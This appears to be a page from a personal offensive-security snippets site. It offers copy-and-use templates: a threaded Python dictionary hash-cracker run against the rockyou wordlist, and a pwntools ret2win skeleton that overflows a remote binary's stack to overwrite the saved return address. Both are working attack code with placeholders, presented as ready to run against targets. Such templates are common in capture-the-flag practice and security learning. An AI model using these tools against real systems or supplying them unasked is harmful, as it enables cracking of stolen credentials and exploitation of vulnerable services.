M4cCrypt0
cat ~/snippets/*.md

command snippets

// reusable, tested command templates — recon, web exploitation, privesc, pivoting, forensics. Copy, swap the <placeholders>, go.

Threaded Dictionary Hash-Cracker (hashlib)

Minimal threaded dictionary hash-cracker in pure Python — when you want to script it or match an unusual algorithm instead of reaching for hashcat.

python
#!/usr/bin/env python3
import hashlib
from concurrent.futures import ThreadPoolExecutor, as_completed

def matches(word, target, algo):
    h = hashlib.new(algo); h.update(word.encode())
    return h.hexdigest() == target.lower()

def crack(target, wordlist, algo="sha256", workers=8):
    with open(wordlist, encoding="utf-8", errors="ignore") as f:
        words = [w.strip() for w in f if w.strip()]
    with ThreadPoolExecutor(max_workers=workers) as ex:
        futs = {ex.submit(matches, w, target, algo): w for w in words}
        for fut in as_completed(futs):
            if fut.result():
                return futs[fut]
    return None

if __name__ == "__main__":
    print(crack("<target-hash>", "/usr/share/wordlists/rockyou.txt", "md5"))

ret2win pwntools Skeleton

Minimal pwntools template for a classic ret2win: pad to the saved return address, then jump to the win function.

python
from pwn import *

elf = context.binary = ELF('./<binary>')
# p = process(elf.path)
p = remote('<target-ip>', <port>)

OFFSET = <offset>              # bytes from buffer start to saved RIP
win    = elf.symbols['win']    # target function address

payload  = b'A' * OFFSET
payload += p64(win)            # overwrite return address

p.sendlineafter(b'> ', payload)
p.interactive()

used in: Ret2Win with Stack-Alignment Fix (CET/SHSTK)